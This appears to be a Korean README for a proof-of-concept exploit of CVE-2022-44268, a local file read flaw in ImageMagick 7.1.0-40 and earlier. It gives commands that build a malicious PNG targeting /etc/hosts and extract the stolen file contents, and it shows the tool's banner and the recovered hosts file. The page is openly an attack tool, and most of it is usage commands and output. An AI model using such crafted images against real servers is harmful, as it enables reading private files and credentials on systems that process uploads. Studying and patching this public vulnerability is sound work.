
ImageMagick LFI 취약점(CVE-2022-44268)을 악용하여 임의 파일 읽기를 수행하는 악성 PNG 파일을 생성하며, 개념 증명을 위한 추출 스크립트를 포함합니다.
ImageMagick은 무료 오픈 소스 크로스 플랫폼 소프트웨어 제품군으로, 래스터 이미지와 벡터 이미지 파일을 표시, 변환 및 편집할 수 있습니다. 200개 이상의 이미지 파일 형식을 읽고 쓸 수 있습니다. ImageMagick은 Apache License 2.0에 따라 라이선스가 부여됩니다. 명령줄 도구뿐만 아니라 C API 및 C++ 클래스 세트 형태로 제공됩니다. Wikipedia
ImageMagick 버전 7.1.0-40 이하에는 로컬 파일 포함 취약점이 존재합니다. 이 취약점은 사용자 입력의 부적절한 검증으로 인해 발생합니다. 공격자는 대상에게 조작된 PNG 파일을 전송하여 이 취약점을 악용할 수 있습니다. 이 취약점을 성공적으로 악용하면 공격자가 대상 시스템에서 임의의 파일을 읽을 수 있습니다.
이를 발견한 연구자들에게 감사드립니다:
ImageMagick 7.1.0-40을 악용하기 위한 악성 PNG 생성:
pip install Pillow)generate.py로 PNG 제작:
python3 generate.py -i input.png -f "/etc/hosts" -o exploit.png
______ __ _____ ______
| _ \ \ / / | __ \ | ____|
| |_) \ \_/ / | |__) |__ __ _ ______| |__ _ __ ___ __ _
| _ < \ / | ___/ _ \ / _` |______| __| '__/ _ \ / _` |
| |_) | | | | | | (_) | (_| | | | | | | (_) | (_| |
|____/ |_| |_| \___/ \__, | |_| |_| \___/ \__, |
__/ | __/ |
|___/ |___/
[*] ImageMagick LFI Exploit
[*] 대상 파일을 읽기 위한 페이로드 삽입
[*] 악용 PNG 생성됨: exploit.png
python3 extract.py downloaded_img.png
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
면책 조항: 착한 아이가 되어 나쁜 일에 사용하지 말아 주세요.